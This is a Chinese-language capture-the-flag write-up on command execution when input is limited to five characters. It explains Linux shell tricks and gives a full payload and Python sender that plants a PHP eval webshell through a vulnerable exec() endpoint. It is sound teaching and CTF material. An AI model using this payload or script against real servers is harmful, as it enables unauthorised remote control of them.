RCE篇之限制长度下的命令执行

限制长度下的命令执行

前段时间团队考核遇到过一个限制长度下的rce,虽然是按照别人的脚本复现出来了,但其实里面的原理什么的完全没搞懂,害还是太菜了,找了些文章也基本上就是直接上脚本,趁着假期就把这些基础知识总结一下

1.知识铺垫

1.在linux下,>可以实现创建文件的功能,并且前面可以执行任何命令,然后将命令执行的结果通过>写入到文件中,例如:

image.png

可以看到,本来是一个空的文件夹,我们通过>创建了两个空文件ab,然后又创建了一个空文件c并且将ls的结果写进了c中,注意这里有个顺序问题,就是它是先创建的空文件c然后执行ls的命令,最后将命令执行的结果写进去的

2.ls这个命令可以添加参数,它默认的排列顺序是按照字母顺序排序,加上-t参数可以按时间顺序来排序文件,新文件在前面,老文件在后面,感觉有点像栈的先进后出,先写的文件在后面,后写的文件在前面,用ls -th也是一样的效果,-h的意思是把文件大小显示成1k 1M 等形式,加上这个之后可以调整-t参数的位置,这个我们后面再讲

image.png

3.linux中有个sh命令会将文件中的内容当作命令来执行,比如说sh d就会将文件d中的内容当作命令来执行

image.png

4.linux中可以使用反斜杠\来拼接命令,实现命令的换行,当最后一段字符后面没有\了,说明命令拼接结束,并开始执行,但如果是要写成文件名的形式,那最后一个\的前面还需要加一个\作为转义符

image.png

5.在linux中,星号*可以作为通配符使用,输入*后,linux会将该目录下第一个列出的文件名作为命令,剩下的的文件名当作参数

image.png

像上面这个例子,执行*就相当于执行ls t,将ls作为命令,t作为参数;

有的时候当一个目录下有很多个文件的时候,可以在*后面加上字母作为限制,就可以限定为必须要带有该字母的文件才能被当作命令参数,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s,相当于就是带有s的第一个文件被作为了命令,后面带有s的文件作为了参数,所以说我们执行*s,相当于执行ls s

image.png

6.linux中还有一个倒置命令rev,它可以将文件中的内容倒置,比如说下面这个例子,a文件中的内容本来是1234,然后我们用了rev倒置命令,就输出了4321,我们还可以将这个输出结果写入文件b

image.png

当然,我们也可以按照前面的方法,将rev当作文件名,然后利用*v来执行它,只不过文件名也要为v

image.png

7.linux中还有一个命令dir,这个命令和ls基本上是一样的,只不过用ls写入文件中时,每个文件名都是单独一行,它会自动换行,这会影响我们后面命令的执行,但dir就会全部写入一行中,并且会自动加空格,所以说我们就用dir代替ls

image.png

到这里我们的铺垫知识就全部讲完了,下面就直接进入正题:

2.核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

if(md5(md5($_GET["pass"]))=="42dc38109914179199efc5c18d47ee68")
{
show_source("shell.php");
echo "<br><br>年轻人,这个后门你把握不住,收手吧<br><br>";
echo "<br>".$_SERVER['HTTP_USER_AGENT'];

$you_file = '/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT']);

mkdir($you_file);
chdir($you_file);

if (isset($_GET['big_hacker_LTLT']) && strlen($_GET['big_hacker_LTLT']) <= 5)
{
echo exec($_GET['big_hacker_LTLT']);

} else if (isset($_GET['reset']))

{
@exec('/bin/rm -rf ' . $you_file);
}

}
?>

刚开始的这个双md5不用管它,这是题目上一层解出来的,解出来pass的值为LTLT_666

3.思路分析

从代码中可知,这里有exec函数,是可以执行命令的,但由于有长度限制,所以说我们不能执行完整命令,只能试图利用linux下命令可以拆分的特点,将写入一句话木马的命令,拆分开来,作为文件名的形式先写进去,然后再写一个文件v,里面的内容是ls -th >f,然后通过执行这个文件v,让前面的文件名按照时间顺序拼接起来,并写入到文件f中,那文件f中就是我们想要的写入一句话木马的命令了,最后执行这个文件f,就将木马成功写入进去了

4.具体过程

1.我们首先来写写入一句话木马的命令,这里要注意的是,由于里面有< ?这些字符,所以说我们先将其base64编码后再写入,具体:

1
2
3
4
一句话:<?php eval($_POST[1]);
base编码后:PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
写入的命令:echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
这里的空格要用${IFS}来代替,避免一句话中存在两个空格

image.png

验证一下,发现没有问题

2.然后我们就要来拼接出命令ls -th >f了,我认为这儿是最复杂的,这里先解释一下为啥要拼接出这条命令,因为它ls默认排列文件的顺序是按照字母顺序的,如果把这个顺序写入文件中那肯定是杂乱无章的,也肯定不是我们想要的,所以说我们得想办法控制它的顺序,而唯一能控制的就是输入命令的时间先后顺序了,我们把想要放在后面的先输入,想要放在前面的后输入,然后利用ls -th一排,不就是我们想要的顺序了吗,这里我用kali做个演示,命令就是echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php

我们看到核心代码中它每次输入的命令不能超过五字符,那我就把这命令划分一下,五个字符一句,所有的符号前面都要加转义符\

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>e\\
>ch\\
>o\\
>\$\\
>{\\
>IF\\
>S}\\
>PD\\
>9w\\
>a\\
>HA\\
>gZ\\
>XZ\\
>hb\\
>Cg\\
>kX\\
>1B\\
>PU\\
>1R\\
>bM\\
>V0\\
>pO\\
>w=\\
>\=\\
>\|\\
>ba\\
>se\\
>64\\
>\ \\
>-d\\
>\>\\
>1.\\
>p\\
>hp

但由于前面讲的,我们得按照时间得先后顺序,给它倒过来,害这真的是个体力活:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

然后我们在kali中做测试,一个一个按顺序把它敲进去,太艰难了

image.png

可以看到已经成功了,它已经按照时间顺序排序好了,那我们就把它执行的结果写入文件f中,然后利用sh来执行f,看能不能成功生成1.php

image.png

成功了成功了,1.php成功生成,内容也是我们想要的,哇看到这个我真的感觉前面的辛苦都值了哈哈哈

3.拼接出命令ls -th >f,害本来第二步我就想讲这个的,结果写着写着就写偏了,前面我们的ls -t >f这命令是直接写的,实际上题目中我们是肯定不可能直接写的,同样需要把它写成文件名拼接起来写入文件中,然后执行它,这就需要我们前面铺垫的知识了,这里我先把构造结果写出来,然后再分析,如果哪一步没看懂可以去上面看对应的铺垫知识哦:

1
2
3
4
5
6
7
8
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht‐" "sl" > v )
>rev
*v>0 前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f
然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f

首先是用dir代替了ls,原因上面也讲了,然后我们这里用-th代替了-t是因为字母顺序的问题,因为我们这里是选择先倒着写然后再用rev命令把它正过来,字母h顺序正好在字母sf之间,所以说就可以,如果只有t的话它就会排在s的后面,顺序就乱了

4.综合第二三步

前两步构造出来之后其实我们的核心步骤就已经完成了,第二步我们构造出来要执行的命令,第三步将要执行的命令写入到一个文件中,然后就是执行命令的过程了,先执行ls -th >f也就是sh 0,再执行文件f也就是sh f即可成功写入一句话,综合一下payload就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

5.写python脚本

前面也看到了,我们要是纯靠手把这些payload全部输进去还是有些麻烦的,所以说我们还是写个python脚本来代替我们发起这些请求:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
headers = {'User-Agent' : 'ccc'}
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()),headers=headers)

这里面我加了个UA头是因为核心代码中说了目录名就是/var/www/html/wllm/'.md5("wllm" . $_SERVER['HTTP_USER_AGENT'])那相当于我这个目录名就是/var/www/html/md5(wllmccc),也就是/var/www/html/wllm/09dfd2544882e2d4cfc851dcb1e78c4f,payload.txt中的内容就是上面那段payload,接下来开始跑脚本:

image.png

跑完脚本去看这个文件是否已经生成,发现已经生成,那就大功告成了,执行命令和用蚁剑连接都是可以的哦

image.png

image.png

image.png

参考文章:https://blog.csdn.net/qq_45521281/article/details/105900489

https://blog.csdn.net/shuteer_xu/article/details/103485470

https://blog.csdn.net/q20010619/article/details/109206728